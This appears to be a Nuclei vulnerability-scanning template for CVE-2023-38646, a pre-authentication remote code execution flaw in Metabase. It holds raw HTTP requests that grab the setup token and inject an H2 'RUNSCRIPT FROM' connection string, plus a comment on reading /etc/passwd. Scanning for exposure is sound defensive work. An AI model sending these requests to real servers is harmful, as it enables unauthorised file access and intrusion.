67 lines
2.2 KiB
YAML
67 lines
2.2 KiB
YAML
id: CVE-2023-38646
|
|
|
|
info:
|
|
name: Metabase < 0.46.6.1 - Remote Code Execution
|
|
author: rootxharsh,iamnoooob,pdresearch
|
|
severity: critical
|
|
description: |
|
|
Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1 allow attackers to execute arbitrary commands on the server, at the server's privilege level. Authentication is not required for exploitation. The other fixed versions are 0.45.4.1, 1.45.4.1, 0.44.7.1, 1.44.7.1, 0.43.7.2, and 1.43.7.2.
|
|
reference:
|
|
- https://www.metabase.com/blog/security-advisory
|
|
- https://github.com/metabase/metabase/releases/tag/v0.46.6.1
|
|
- https://mp.weixin.qq.com/s/ATFwFl-D8k9QfQfzKjZFDg
|
|
- https://news.ycombinator.com/item?id=36812256
|
|
- https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/
|
|
- https://gist.github.com/testanull/a7beb2777bbf550f3cf533d2794477fe
|
|
classification:
|
|
cve-id: CVE-2023-38646
|
|
epss-score: 0.00048
|
|
metadata:
|
|
shodan-query: http.title:"Metabase"
|
|
fofa-query: app="Metabase"
|
|
verified: true
|
|
max-request: 2
|
|
tags: cve,cve2023,metabase,oss,rce
|
|
|
|
variables:
|
|
file: "./plugins/vertica.metabase-driver.jar" # overwrite file var via cli option to read arbitrary file (-var file="file:///etc/passwd")
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /api/session/properties HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
- |
|
|
POST /api/setup/validate HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/json
|
|
|
|
{
|
|
"token":"{{token}}",
|
|
"details":{
|
|
"details":{
|
|
"subprotocol":"h2",
|
|
"classname":"org.h2.Driver",
|
|
"advanced-options":true,
|
|
"subname":"mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '{{file}}'//\\;"
|
|
},
|
|
"name":"{{randstr}}",
|
|
"engine":"postgres"
|
|
}
|
|
}
|
|
|
|
extractors:
|
|
- type: json
|
|
part: body_1
|
|
name: token
|
|
json:
|
|
- .["setup-token"]
|
|
internal: true
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- contains_any(body_2, "Syntax error in SQL statement","NoSuchFileException")
|
|
- status_code_2 == 400
|
|
condition: and |